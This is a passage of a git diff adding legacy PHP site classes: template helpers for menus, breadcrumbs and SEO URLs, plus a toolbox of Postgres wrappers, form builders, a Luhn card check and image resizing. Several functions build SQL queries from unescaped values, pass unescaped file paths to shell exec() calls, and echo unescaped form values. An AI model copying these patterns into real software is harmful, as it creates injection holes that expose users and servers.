+               $description = htmlentities( substr( strip_tags( $data[0]['description'] ), 0, 250 ) );
+               return( $description );
+       }
+       
+        /**
+        * title: create the title for the page.
+        * this should be only done for all but the home page.
+        * $title = ( $catid != 1 ) ? $toolbox->title() : '';
+        * 
+       * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @return  string
+        * @access public 
+        **/
+       function title()
+       {
+               $query = "select category,intro from bus_category where id = ".$this->catid;
+               $data = $this->DB->db_auto_get_data( $query );
+               if( $data[0]['intro'] ) 
+               {
+                       $title = strip_tags( $data[0]['intro'] );
+               }       
+               else
+               {
+                       $title = strip_tags( $data[0]['category'] );
+               }
+               return( htmlentities( $title.' - ' ) );
+       }
+       
+       /**
+       * get_bottom_nav: generate a top level only bottom navigation for the pages.
+        * 
+        * @param integer $parent=0: 
+       * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @return  string
+        * @access public 
+        **/
+       function get_bottom_nav($parent=0)
+       {
+               $return='';
+               $qs="SELECT id, category,intro FROM bus_category WHERE active = 't' and id != 1 and parent=$parent ORDER BY pos ASC";
+               $row=$this->DB->db_auto_get_data($qs);
+               $links[] = $this->get_seo_url(HOME_ID);
+               if( !is_array( $row ) )
+               {
+                       return FALSE;
+               }
+               else
+               {
+                       for( $i=0; $i<sizeof( $row ); $i++)
+                       {
+                               $title = strip_tags(addslashes($row[$i]['intro']));
+                               $url = $this->get_seo_url( $row[$i]['id'] );
+                               $links[] = '<a title="'.$title.'" href="'.$url.'">'.$row[$i]['category']."</a>\n";
+                       }
+                       if( is_array( $links) )
+                       {
+                               $return = implode(" | ",$links);
+                       }
+                       return $return;
+               }
+       }
+       
+
+       /**
+        * make_ul_menu: create url list of categories
+        * 
+        * @param integer $parent parent to start from 
+        * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @return string 
+        * @access public
+        **/
+       function make_ul_menu( $parent = 0 )
+       {
+               $qs = "SELECT id,category,intro FROM bus_category WHERE parent = $parent AND active = 't' ORDER BY pos";
+               $data = $this->DB->db_auto_get_data($qs);
+               if(!is_array($data))
+               {
+                       return( false );
+               }
+               else
+               {
+                       foreach( $data as $key => $row )
+                       {
+                               $url = $this->get_seo_url( $row['id'] );
+                               $title = strip_tags(addslashes($row['intro']));
+                               $return.='
+                               <li><a title="'.htmlentities($title).'" href="'.$url.'"';
+                               if( $this->catid == $row['id'] )        
+                               {
+                                       $return .= ' id="current"';
+                               }
+                               $return .= '>'.htmlentities($row['category'])."</a>";
+                               if( $this->has_subs( $row['id'], &$this->DB ) && ( $this->is_sub_id( $this->catid, $row['id'], &$this->DB )  || $this->catid == $row['id'] ) )
+                               {
+                                               $ret2 = $this->make_ul_menu( $row['id'] );
+                                               $return.=$ret2;
+                               }
+                               $return.="
+                               </li>";
+                       }
+                       if( $parent == 0 )
+                       {
+                               $return = '
+                               <ul id="navlist">'.$return.'</ul>
+                               ';
+                               return( $return );
+                       }
+                       else
+                       {
+                               $return = '
+                               <ul>'.$return.'</ul>
+                               ';
+                               return( $return );
+                       }
+               }
+       }       
+
+
+       /**
+        * make_custom_menu: Don't really know about why this is here
+        * 
+        * @param integer $parent: 
+        * @param integer $url='': 
+        * @param boolean $onhome=0: 
+       * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @deprecated Should you maybe create new class for custom stuff
+        * @return string 
+        * @access public 
+        **/
+       function make_custom_menu($parent,$url='',$onhome=0)
+       {
+               $url==''?$url=$_SERVER['PHP_SELF']:'';
+               //$url=BASE_URL;
+               if($onhome==1)
+               {
+                       //$opt="AND onhome='t' ";
+                       $qs="SELECT id,category,image,intro FROM bus_category WHERE onhome='t' AND active='t' ORDER BY homepos ASC";
+               }else
+               {
+                       $qs="SELECT id,category,image,intro FROM bus_category WHERE parent=$parent $opt AND active='t' ORDER BY pos";
+               }
+               
+               $row=$this->DB->db_auto_get_data($qs);
+               if(!is_array($row))
+               {
+                       return FALSE;
+               }else
+               {
+                       $z=1; // used to find the 3rd image
+               for($i=0;$i<sizeof($row);$i++)
+               {
+                       if($z==3)
+                       {
+                               $z=1;
+                               $brtag='<br clear="all">';
+                       }else
+                       {
+                               $brtag='';
+                               $z++;
+                       }
+                       $url = $this->get_seo_url( $row[$i]['id'] );
+                       $title = strip_tags(addslashes($row[$i]['intro']));
+                       $return.='<div class="products"><a title="'.$title.'" href="'.$url.'"class="text">'.$row[$i]['category'].'</a>'."\n".'<a href="'.URL_BASE.$p.$category.'"class="image">';
+                       if($row[$i][image]!='')
+                       {
+                               $return.='<img src="'.THUMB.$row[$i][image].'">';
+                       }
+                       
+                       $return.='</a>'."</div>$brtag\n";
+               }
+                       return $return;
+               }
+       }
+       
+       /**
+       * print_ancestors:print out the ancestors
+       * @param integer $catid: the id to start at.
+       * 
+       * @return string 
+       * @access public
+       **/
+       function print_ancestors($catid)
+       {
+               $string = GLM_TEMPLATE::get_ancestors($catid,0);
+               echo '<!--';
+               print_r($string);
+               echo '-->';
+               if(is_array($string))
+               {
+                       if(count($string) > 1)
+                       {
+                               $url = $this->get_seo_url( 1 );
+                               $outarray[] = '<a href="'.$url.'">Home</a>';
+                       }       
+                       $end = count( $string ) - 1;
+                       for($i=0;$i<$end;$i++)
+                       {
+                               $outarray[] = '<a href="'.$string[$i]["link"].'">'.$string[$i]["label"].'</a>';
+                       }
+                       $outarray[] = $this->get_catheader( $catid, &$this->DB );
+                       if( is_array( $outarray ) && count( $outarray ) > 1 )
+                       {
+                               $out .= implode( " &#187; ", $outarray );
+                       }
+               }
+               return( '<div id="breadcrumbs">'.$out.'</div>' );
+       }
+
+       /**
+       * build_picklist:
+       * @param string $fieldname: 
+       * @param array $data: 
+       * @param mixed $selected: 
+       * @param string $type = "standard": 
+       * @param boolean $auto = 0: 
+       * @param integer $width = NULL : 
+       * 
+       * @return string 
+       * @access  public
+       **/
+       function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+       {
+               if(!is_array($selected))
+               {
+                       $sel[0] = $selected;
+               }
+               else
+               {
+                       $sel = $selected;
+               }
+               if($auto == 1)
+               {
+                       $autosubmit = "onChange=\"form.submit()\"";
+               }
+               if($width)
+               {
+                       $autosubmit .= "style=\"width:".$width."px;\"";
+               }
+               switch( $type )
+               {
+                       case "multiple":
+                       $str = "<SELECT id=\"".$fieldname."\" NAME=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+                               while( list($key, $val) = each($data) ) 
+                               {
+                                       if( in_array($key,$sel) )
+                                       {
+                                               $select = " SELECTED ";
+                                       }
+                                       else
+                                       {
+                                               $select = "";
+                                       }
+                                       $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                               }
+                               break;
+                       case "simple":
+                       $str = "<SELECT id=\"".$fieldname."\" NAME=\"$fieldname\" ".$autosubmit.">\n";
+                               for( $i=0 ; $i<count($data) ; $i++ ) 
+                               {
+                                       $select = (in_array($data[$i],$sel)) ? " SELECTED ":"";
+                                       $str .= "       <OPTION VALUE=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+                               }
+                               break;
+
+                               case "standard":
+                       default:
+                       $str = "<SELECT id=\"".$fieldname."\" NAME=\"$fieldname\" ".$autosubmit.">\n";
+                               while( list($key, $val) = each($data) ) 
+                               {
+                                       $select = (in_array($key,$sel)) ? " SELECTED ":"";
+                                       $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                               }
+                       break;
+                       }
+                       $str .= "</SELECT>\n";
+               return( $str );
+       }
+
+       /**
+       * keyword_replace:
+       * 
+       * @param string $string: 
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return string 
+       * @access public
+       **/
+       function keyword_replace($string)
+       {
+               //return($string);
+               if($search = strstr($string,"{"))
+               {
+                       if(ereg("\{([A-Za-z0-9\&\-\,\'\" ]*)\}",$string,$needle))
+                       {
+                               if($needle[0] != "")
+                               {               
+                                       $qs = "SELECT   id,category
+                                       FROM            bus_category
+                                       WHERE   trim(keyword) = '".trim($needle[1])."'";
+
+                                       $keyres = $this->DB->db_auto_get_data($qs);                                     
+                                       $parent = $this->get_top_parent($keyres[0]['id'],&$this->DB);
+                                       $url = $this->get_seo_url( $keyres[0]['id'] );
+                                       $replacement = "<a href=\"".$url."\">".htmlspecialchars($keyres[0]['category'])."</a>";
+                                       $string = str_replace($needle[0],$replacement,$string);
+                               }
+                       }               
+                       else{
+                               return($string);
+                       }
+                       if($search = strstr($string,"{"))
+                       return($this->keyword_replace($string));
+               }       
+               return($string);        
+       }
+       /**
+       * getIdFromName:
+       * 
+       * @param string $name: 
+       * @param string $table: 
+       * @param object $DB: 
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @deprecated Don't use this!  THIS IS A WARNING (this funcion will be gone next time)
+       * @return string 
+       * @access  public
+       **/
+       function get_id_from_name( $name, $table, &$DB)
+       {
+               if( $name == "" )
+               {
+                       return( 0 );
+               }
+               if( is_numeric( $name ) )
+               {
+                       return( $name );
+               }
+               if( ereg("(.*)/$",$name,$tmp) )
+               {
+                       $name = $tmp[1];
+               }
+               $category = "category";
+               if( ereg("-([0-9]*)$",$name,$tmp ) )
+               {
+                       $id = $tmp[1];
+                       return( $id );
+               }
+               // should already be returning id at this point 
+               // putting the _id on the end of all url's as 
+               // the other way is very inifiecent for the database.
+               $name = str_replace( "-"," ",$name );
+               $query = "select id from $table where trim(lower(replace(replace(replace(replace(replace(replace($category,'\'',''),'/',''),'-',' '),'#',''),'&',''),'?',''))) = '".trim(strtolower($name))."'";
+               $data = $DB->db_auto_get_data( $query );
+               if( is_array( $data ) )
+               {
+                       foreach( $data as $key=>$val )
+                       {
+                               $catid = $val['id'];
+                       }
+                       return( $catid );
+               }
+               else
+               {
+                       return( 0 );
+               }
+       }
+
+       /**
+        * get_base_url: generate the base of the url for the given category id 
+        * @param integer $id : 
+        * 
+        * @return string 
+        * @access public
+        **/
+       function get_base_url( $id )
+       {
+               if( $this->pages[$id] )
+               {
+                       $page = $this->pages[$id];
+               }
+               else
+               {
+                       $page = $this->pages['default'];
+               }
+               if( $GLOBALS['GLM_SERVER_ID'] == 'ws1.gaslightmedia.com' && $this->catid == 1 )
+               {
+                       $page = '';
+               }
+               return( $page );
+       }
+
+       /**
+       * getCategoryName:
+       * 
+       * @param integer $id: 
+       * @param string $table: 
+       * @param object &$DB : 
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return void 
+       * @access public 
+       **/
+       function get_category_name( $id, $table,&$DB )
+       {
+               if( !is_numeric( $id ) )
+               {
+                       return( false );
+               }
+               if($table == "class_category")
+               {
+                       $category = "name";
+               }
+               else
+               {
+                       $category = "category";
+               }
+               $query = "select $category from $table where id = $id";
+               $data = $DB->db_auto_get_data( $query );
+               if( is_array( $data ) )
+               {
+
+                       $add = '-'.$id;
+                       if( $data[0]['category'] ) 
+                       {
+                               $category = $data[0]['category'].$add;
+                       }
+                       elseif( $data[0]['name'])
+                       {
+                               $category = $data[0]['name'].$add;
+                       }
+                       else
+                       {
+                               $category = $add; 
+                       }
+                       return( htmlspecialchars($category) );
+               }
+       }
+
+
+       /**
+       * setNameUrl:
+       * @param string $name : 
+       * 
+       * @return string 
+       * @access public
+       **/
+       function set_name_url( $name )
+       {
+               $name = strtolower( trim( str_replace( " ","-",$name ) ) );
+               $name = str_replace( "/","",$name );
+               $name = str_replace( "#","",$name );
+               $name = str_replace( "&","",$name );
+               $name = str_replace( "amp;","",$name );
+               $name = str_replace( "?","",$name );
+               $name = str_replace( "'","",$name );
+               return( htmlspecialchars(strip_tags( $name ) ) );
+       }
+
+       /**  valid email
+       *
+       * <p>Checks for a valid format and good (mx check) 
+       * email address.</p>
+       * @deprecated using GLM_TOOLBOX::valid_email()
+       * @uses GLM_TOOLBOX::valid_email()
+       *
+       * @param string email the email address as string.
+       * @return boolean 
+       */ 
+       function valid_email ($email) { 
+               return( GLM_TOOLBOX::valid_email($email) );
+       }
+}
+?>
diff --git a/classes/class_toolbox.inc b/classes/class_toolbox.inc
new file mode 100755 (executable)
index 0000000..4a32407
--- /dev/null
@@ -0,0 +1,1478 @@
+<?php
+/** 
+*      Toolbox Classes :)
+* 
+*      <p>
+* These classes and any code is not licensed for anyone but gaslight to use
+* {@link http://www.gaslightmedia.com www.gaslightmedia.com}
+*      </p>
+*
+* @package Toolbox 
+* @tutorial Toolbox/Toolbox.pkg
+* @filesource
+* 
+*/
+/**
+*      Toolbox Class :)
+*
+* <p><b>NOTICE</b>
+*      Im going to be moving all functions from the setup.phtml file and putting it into this</p>
+*      <p>class.  This is so we can eventially move everything to one siteinfo.inc file.</p>
+*  <kbd>matrix@devsys Does this work?</kbd>
+*
+*      @package Toolbox 
+*      @author $Author: cscott $
+*      @copyright 2005
+*      @version $Revision: 1.1.1.1 $
+*      @since $Date: 2006/04/25 18:14:59 $
+* 
+*      @todo move all functions from setup.phtml into here
+*/
+class GLM_TOOLBOX 
+{
+       /** @var array php_version */
+       var $php_version;
+       /** @var boolean true if php is version < 4.2 */
+       var $php_old_pg;
+
+       /**
+       * GLM_TOOLBOX 
+       * 
+       * @access public
+       * @return void
+       */
+       function GLM_TOOLBOX()
+       {
+               $this->php_version = $this->php_version_check();
+               $this->php_old_pg = $this->php_old_pg();
+       }
+
+       /**
+       * php_version_check 
+       * 
+       * @access public
+       * @return void
+       */
+       function php_version_check()
+       {
+               $this->php_version = explode(".",phpversion());
+               return( $this->php_version );
+       }
+
+       /**
+        * php_old_pg 
+        * 
+        * <p>after php 4.2 they changed the pg_ functions for postgres </p>
+        * 
+        * @access public
+        * @return void
+        */
+       function php_old_pg()
+       {
+               switch( $this->php_version[0] )
+               {
+                       case 5:
+                       return( false );
+                       break;
+
+                       case 4:
+                       switch( $php_version[1] )
+                       {
+                               case 2:
+                               return( false );
+                               break;
+                               case 1:
+                               return( true );
+                               break;
+                       }
+                       break;
+               }
+       }
+
+       /**
+       * Create a hyper link
+       *
+       * <p>$options array is $options = array( 'href'=>'', 'text'=>'', 'title'=>'',
+       *       'onMouseover'=>'', 'onMouseout'=>'','id'=>'' );</p>
+       * @param $options : an array 
+       * 
+       * @return string for the hyper link 
+       * @access public 
+       **/
+       function create_href( $options )
+       {
+               if( !is_array( $options ) )
+               {
+                       return( false );
+               }
+               else
+               {
+                       $title = ( $options['title'] && $options['title'] != '' ) ? ' title="'.$options["title"].'"': '';
+                       $text = ( $options['text'] && $options['text'] != '' ) ? strip_tags( $options["text"] ) : '';
+                       $onClick = ( $options['onClick'] && $options['onClick'] != '' ) ? ' onClick="'.$options["onClick"].'"': '';
+                       $onMouseover = ( $options['onMouseover'] && $options['onMouseover'] != '' ) ? ' onMouseover="'.$options["onMouseover"].'"': '';
+                       $onMouseout = ( $options['onMouseout'] && $options['onMouseout'] != '' ) ? ' onMouseout="'.$options["onMouseout"].'"': '';
+                       $id = ( $options['id'] && $options['id'] != '' ) ? ' id="'.$options["id"].'"': '';
+                       $out = '<a'.$title.$onClick.$onMouseout.$id.' href="'.$options["href"].'">'.$text.'</a>';
+                       return( $out );
+               }
+       }
+
+       /**
+       * CreditVal : CreditVal Checks for a valid credit card number doing Luhn check, if no
+       card type is given, attempts to guess. Then, if a list of
+       accepted types is given, determines whether or not we'll
+       accept it
+       * @param string $Num: Credit Card Number
+       * @param string $Name = '': Type of Card
+       * @param array $Accepted='' : Accepted array
+       * 
+       * @return bool 
+       * @access public 
+       **/
+       function CreditVal($Num, $Name = '', $Accepted='') 
+       { 
+               $Name = strtolower( $Name );
+               $Accepted = strtolower( $Accepted );
+               $GoodCard = 1;
+               $Num = ereg_replace("[^[:digit:]]", "", $Num); 
+               switch ($Name) 
+               { 
+
+                       case "mastercard" : 
+                       $GoodCard = ereg("^5[1-5].{14}$", $Num); 
+                       break; 
+
+                       case "visa" : 
+                       $GoodCard = ereg("^4.{15}$|^4.{12}$", $Num); 
+                       break; 
+
+                       case "americanexpress" : 
+                       $GoodCard = ereg("^3[47].{13}$", $Num); 
+                       break; 
+
+                       case "discover" : 
+                       $GoodCard = ereg("^6011.{12}$", $Num); 
+                       break; 
+
+                       case "dinerscard" : 
+                       $GoodCard = ereg("^30[0-5].{11}$|^3[68].{12}$", $Num); 
+                       break;
+
+                       default:
+                       if( ereg("^5[1-5].{14}$", $Num) ) $Name = "mastercard";
+                       if( ereg("^4.{15}$|^4.{12}$", $Num) ) $Name = "visa";
+                       if( ereg("^3[47].{13}$", $Num) ) $Name = "americanexpress";
+                       if( ereg("^6011.{12}$", $Num) ) $Name = "discover";
+                       if( ereg("^30[0-5].{11}$|^3[68].{12}$", $Num) ) $Name="dinerscard";
+                       break;
+               } 
+
+               // If there's a limit on card types we accept, check for it here.
+               if( $Accepted )
+               {
+                       $type_verified = FALSE;
+                       $brands = explode( ",", $Accepted );
+                       foreach( $brands as $brand )
+                       {
+                               if( $Name == $brand )
+                               {
+                                       $type_verified = TRUE;
+                               }
+                       }
+                       if( !$type_verified ) return(FALSE);
+               }
+               $Num = strrev($Num); 
+               $Total = 0; 
+               for ($x=0; $x<strlen($Num); $x++) 
+               { 
+                       $digit = substr($Num,$x,1); 
+                       if ($x/2 != floor($x/2)) 
+                       { 
+                               $digit *= 2; 
+                               if (strlen($digit) == 2)  
+                               {
+                                       $digit = substr($digit,0,1) + substr($digit,1,1); 
+                               }
+                       } 
+                       $Total += $digit; 
+               } 
+               if ($GoodCard && $Total % 10 == 0) 
+               {
+                       return(true); 
+               }
+               else 
+               {
+                       return(false); 
+               }
+       }
+       /**
+       * db_connect :Creates a connection to database specified $conn_str
+       * @param string $conn="" : connection string
+       * 
+       * @return index or bool 
+       * @access public 
+       **/
+       function db_connect($conn="") 
+       {
+               switch (DB_TYPE) 
+               {
+                       case "postgres":
+                       if($conn == "")
+                       {
+                               $conn = CONN_STR;
+                       }
+                       $ret = pg_connect($conn);
+                       break;
+                       default:
+                       return(0);
+               }
+               return($ret);
+       }
+
+       /**
+       * db_close :Closes the connection to database specified by the handle dbd       
+       * @param object $dbd : database handle 
+       * 
+       * @return bool 
+       * @access public 
+       **/
+       function db_close($dbd) 
+       {
+               switch (DB_TYPE) 
+               {
+                       case "postgres":
+                       $ret = pg_close($dbd);
+                       break;
+                       default:
+                       return(0);
+               }
+
+               return($ret);
+       }
+
+       /**
+       NOTICE DON'T USE THIS
+       * db_pconnect :Creates a persistant connection to database specified in $conn_str
+       * @param string $conn="" : connection string 
+       * 
+       * @return mixed
+       * @access public 
+       **/
+       function db_pconnect($conn="") 
+       {
+               return( false );
+       }
+
+       /**
+       * db_exec : Execute an SQL query
+       * @param object $dbd: database handle 
+       * @param string $qs : Query
+       * 
+       * @return int Returns a valid result index on success 0 on failure
+       * @access public 
+       **/
+       function db_exec($dbd, $qs) 
+       {
+               switch (DB_TYPE) 
+               {
+                       case "postgres":
+                       if( $this->php_old_pg )
+                       {
+                               $ret = pg_exec($dbd, $qs);
+                       }
+                       else
+                       {
+                               $ret = pg_query($dbd, $qs);
+                       }
+                       break;
+
+                       default:
+                       return(0);
+               }
+               return($ret);
+       }
+
+       /**
+       * db_fetch_array :Stores the data in associative indices, using the field names as      
+       * keys.
+       * @param resource $res: valid database result index
+       * @param int $i: row number
+       * @param string $type : database type 
+       * 
+       * @return array Returns an associative array of key-value pairs
+       * @access public 
+       **/
+       function db_fetch_array($res, $i, $type) 
+       {
+
+               switch (DB_TYPE) 
+               {
+                       case "postgres":
+                       $row = pg_fetch_array($res, $i, $type);
+                       break;
+
+                       default:
+                       return(0);
+               }
+
+               return($row);
+       }
+
+       /**
+       * db_freeresult :Free result memory.
+       * @param resource $res : valid database result index
+       * 
+       * @return bool - Returns 1 for success 0 for failure
+       * @access public 
+       **/
+       function db_freeresult($res) 
+       {
+
+               switch (DB_TYPE) 
+               {
+                       case "postgres":
+                       if( $this->php_old_pg )
+                       {
+                               $ret = pg_freeresult($res);
+                       }
+                       else
+                       {
+                               $ret = pg_free_result($res);
+                       }
+                       break;
+
+                       default:
+                       return(0);
+               }
+
+               return($ret);
+       }
+
+       /**
+       * db_numrows :Determine number of rows in a result index
+       * @param resource $res : valid database result index
+       * 
+       * @return int - Returns number of rows
+       * @access public 
+       **/
+       function db_numrows($res) 
+       {
+
+               switch (DB_TYPE) 
+               {
+                       case "postgres":
+                       if( $this->php_old_pg )
+                       {
+                               $ret = pg_numrows($res);
+                       }
+                       else
+                       {
+                               $ret = pg_num_rows($res);
+                       }
+                       break;
+
+                       default:
+                       return(-1);
+               }
+
+               return($ret);
+       }
+       /**
+       * db_auto_array 
+       * 
+       * The auto function for retrieving an array based soley on a query      
+       * string. This function makes the connection, does the exec, fetches    
+       * the array, closes the connection, frees memory used by the result,    
+       * and then returns the array
+       * 
+       * @param mixed $qs 
+       * @param mixed $i 
+       * @param mixed $type 
+       * @access public
+       * @return void
+       */
+       function db_auto_array($qs, $i, $type) 
+       {
+
+               $dbd = GLM_TOOLBOX::db_connect();
+               if(!$dbd)
+               {
+                       return(0);
+               }
+               $res = GLM_TOOLBOX::db_exec($dbd, $qs);
+               if(!$res)
+               {
+                       return(0);
+               }
+
+               $row = GLM_TOOLBOX::db_fetch_array($res, $i, $type);
+
+               if(!GLM_TOOLBOX::db_freeresult($res))
+               {
+                       return(0);
+               }
+
+               GLM_TOOLBOX::db_close($dbd);
+               return($row);
+       }
+
+       /**
+       * db_auto_exec :The auto function for executing a query.                                
+       * This function makes the connection, does the exec, fetches            
+       * the array, closes the connection, frees memory used by the result,    
+       * and then returns success (not a valid result index)
+       * @param string $qs: SQL query string
+       * @param string $conn="" : Connect String
+       * 
+       * @return int - Returns 1 (or oid, if available) for success 0 for failure
+       * @access public 
+       **/
+       function db_auto_exec($qs, $conn="") 
+       {
+
+               if($conn == "")
+               {
+                       $conn = CONN_STR;
+               }
+               $dbd = GLM_TOOLBOX::db_connect($conn);
+               if(!$dbd)
+               {
+                       return(0);
+               }
+               if(!GLM_TOOLBOX::db_exec($dbd, $qs)) 
+               {
+                       GLM_TOOLBOX::db_close($dbd);
+                       return(0);
+               }
+               else 
+               {
+                       GLM_TOOLBOX::db_close($dbd);
+                       return(1);
+               }
+       }
+
+       /**
+       * db_auto_get_data :The auto function for retrieving an array based soley on a query    
+       * string. This function makes the connection, does the exec, fetches    
+       * the array, closes the connection, frees memory used by the result,    
+       * and then returns the array
+       * @param string $qs:    SQL query string
+       * @param string $CONN_STR: Connect String
+       * @param boolean $fail_mode=0 : Failure Mode
+       * 
+       * @return array Returns an associative array of key-value pairs
+       * @access public 
+       **/
+       function db_auto_get_data($qs,$conn = CONN_STR,$fail_mode=0) 
+       {
+
+               if( !($dbd = GLM_TOOLBOX::db_connect($conn)) )
+               {
+                       return( FALSE );
+               }
+
+               if( !($res = GLM_TOOLBOX::db_exec($dbd, $qs)) )
+               {
+                       return( FALSE );
+               }
+
+               $totalrows = pg_NumRows($res);
+
+               for( $i = 0 ; $i < $totalrows ; $i++ )
+               {
+                       $data[$i] = GLM_TOOLBOX::db_fetch_array($res, $i, PGSQL_ASSOC );
+               }
+
+               GLM_TOOLBOX::db_close( $dbd );
+               if(isset($data) && $data!="")   
+               {
+                       return( $data );
+               }
+               else
+               {
+                       return(0);
+               }
+       }
+       /**
+       * html_footer :Generates a footer table on the bottom of the page it's called on.       
+       * and closes out the body and html tags.
+       * 
+       * @return void 
+       * @access public 
+       **/
+       function html_footer() 
+       {
+               $out = '</body>
+               </html>';
+               die( $out ); /* we've got to terminate any more output */
+       }
+
+       /**
+       * html_error :Generates a footer table on the bottom of the page it's called on.        
+       * and closes out the body and html tags.
+       * @param string $msg: string error message to be displayed
+       * @param boolean $bail : bool whether or not to exit() after $msg
+       * 
+       * @return void 
+       * @access public 
+       **/
+       function html_error($msg, $bail) 
+       {
+               echo '<div style="color:red;"><pre>'.$msg.'</pre>></div>';
+               if($bail)
+               {
+                       GLM_TOOLBOX::html_footer();
+               }
+       }
+
+       /**
+       * html_nav_table 
+       * 
+       * @param mixed $nav 
+       * @param mixed $w 
+       * @access public
+       * @return void
+       */
+       function html_nav_table($nav, $w) 
+       {
+               if( is_array( $nav ) )
+               {
+                       $out = '<ul class="admin_nav">';
+                               foreach( $nav as $link => $url )
+                               {
+                                       $out .= '<li><a href="'.$url.'">'.$link.'</a></li>';
+                               }
+                               $out .= '</ul>';
+               }
+               echo $out;
+       }
+
+       /**
+       * html_header :Opens up the html tags, and includes the style sheet link                        
+       generates a header table on the top of the page it's called on.
+       * @param string $title: Page Title 
+       * @param string $msg: message to display 
+       * @param string $img : image to display
+       * 
+       * @return void 
+       * @access public 
+       **/
+       function html_header($title, $msg, $img) 
+       {
+               $header_table_width = "400";
+               $header_table_align = "center";
+               echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+"http://www.w3.org/TR/html4/loose.dtd">
+<html>
+       <head>
+               <title><?echo $title?></title>
+               <link type="text/css" rel=stylesheet href="<?echo STYLE?>">
+       </head>
+       <body>
+               <table width="<?echo $header_table_width?>" align="<?echo $header_table_align?>" summary="Header Information" class="headertable" cellspacing="0" cellpadding="3">
+                       <tr class="headertr">
+                               <td class="headertd">';
+               if($img) 
+               {
+                       echo '<img src="<?echo IMG_BASE.$img?>" alt="<?echo HEAD?>" border="0">';
+               }
+               echo '</td>
+                       </tr>
+                       <tr>
+                               <td class="headertd2" align="center">
+                                       <div class="headerh2" align="center"><?echo "$msg"?></div>
+                               </td>
+                       </tr>
+               </table>';
+               }
+
+       /**
+       * form_header :Opens up the form tag, and includes the hidden assoc array as hidden     
+       fields.
+       * @param string $action: string form action string
+       * @param string $method: string Method of form
+       * @param string $hidden = "" : assoc array with $hidden($name => $value)
+       * 
+       * @return void 
+       * @access public 
+       **/
+       function form_header($action, $method, $hidden = "") 
+       {
+               echo "<form action=\"$action\" method=\"$method\" 
+                       enctype=\"multipart/form-data\">";
+               if($hidden != "" && is_array($hidden)) 
+               {               
+                       foreach($hidden as $key=>$value) 
+                       {
+                               echo "<input type=\"hidden\" name=\"$key\" value=\"$value\">";
+                       }
+               }
+       }
+
+       /**
+       * text_area :Creates textarea with good default values for rows cols and wrap.
+       * @param string $name: string form action string
+       * @param string $value: string Method of form
+       * @param int $rows = 15: int4 number of rows in textarea box
+       * @param int $cols = 50: int4 number of cols in textarea box
+       * @param string $wrap = "virtual"  : string the wrap value for the textarea box
+       * 
+       * @return void 
+       * @access public 
+       **/
+       function text_area($name, $value, $rows = 15, $cols = 50, $wrap = "virtual" ) 
+       {
+               echo "<td class=\"navtd2\"><textarea id=\"$name\" name=\"$name\" cols=\"$cols\" 
+                               rows=\"$rows\" wrap=\"$wrap\" maxlength=\"8104\">$value</textarea></td>";
+       }
+
+       /**
+       * text_box :Creates a input box for text with 35 as default size
+       * @param string $name: string name of text box
+       * @param string $value: string value of text box
+       * @param int $size = 35 : string size of text box
+       * 
+       * @return void 
+       * @access public 
+       **/
+       function text_box($name, $value, $size = 35) 
+       {
+               echo "<td class=\"navtd2\"><input type=\"text\" name=\"$name\" 
+                       value=\"".htmlspecialchars($value)."\" size=\"$size\"></td>";
+       }
+
+       /**
+       * form_footer :Closes up the form tag, and includes the submit button
+       * @param string $name: string form action string
+       * @param boolean $suppress = 0: string Method of form
+       * @param int $cs : int colspan for td 
+       * 
+       * @return void 
+       * @access public 
+       **/
+       function form_footer($name, $suppress = 0, $cs) 
+       {
+               echo "<tr><td colspan=\"$cs\" align=center>
+                               <input type=\"SUBMIT\" name=\"Command\" value=\"$name\">";
+                               if($suppress == 1) 
+                               {
+                                       echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Delete\">";
+                               }
+                               /*              echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Cancel\">";*/
+               echo "</td>";
+       }
+
+       /**
+       * process_image :Main function for image processing                                     
+       * NOTES:                                                                
+       * This function does the following:                       
+       *
+       * 1) places image into original folder                    
+       *
+       * 2) makes three images from original size and places them
+       * into the RESIZED, MIDSIZED, and THUMB folders
+       * @param string $image: The variable of the image being post from the form
+       * @param string $image_name : The variable_name of the image being post
+       * 
+       * @return string - Returns $image_name
+       * @access public 
+       **/
+       function process_image ($image,$image_name) 
+       {
+               if(!defined("ORIGINAL_PATH")) 
+               {
+                       html_error("this not defined original_path",1);
+               }
+               if(!defined("RESIZED_PATH")) 
+               {
+                       html_error("this not defined resized_path",1);
+               }
+               if(!defined("MIDSIZED_PATH")) 
+               {
+                       html_error("this not defined midsized_path",1);
+               }
+               if(!defined("THUMB_PATH")) 
+               {
+                       html_error("this not defined thumb_path",1);
+               }
+               $image_upload_array = img_upload($image,$image_name,ORIGINAL_PATH);
+               //img_resize($image_upload_array[1],ORIGINAL_PATH.$image_upload_array[0],ITEM_ORIGINAL);
+               img_resize(ORIGINAL_PATH.$image_upload_array[0],RESIZED_PATH.$image_upload_array[0],ITEM_RESIZED);
+               img_resize(RESIZED_PATH.$image_upload_array[0],MIDSIZED_PATH.$image_upload_array[0],ITEM_MIDSIZED);
+               img_resize(MIDSIZED_PATH.$image_upload_array[0],THUMB_PATH.$image_upload_array[0],ITEM_THUMB);
+               $image_name = $image_upload_array[0];
+               return($image_name);
+       }
+
+       /**
+       * img_resize 
+       * 
+       * @param mixed $path2image 
+       * @param mixed $path2thumb 
+       * @param mixed $size 
+       * @access public
+       * @return void
+       */
+       function img_resize($path2image,$path2thumb,$size) 
+       {
+               exec( "which convert", $output, $return );
+               if( $return == 0 )
+               {
+                       $command = $output[0];
+                       $pos = strpos($command,"convert");
+                       $Path2GraphicsTools = substr( $command, 0, $pos - 1 );
+               }
+               else
+               {
+                       $Path2GraphicsTools = "/usr/X11R6/bin";
+               }
+               $imageName = basename($path2image);
+               $thumbName = basename($path2thumb);
+
+               exec("$Path2GraphicsTools/convert -quality 100 -scale $size $path2image $path2thumb");
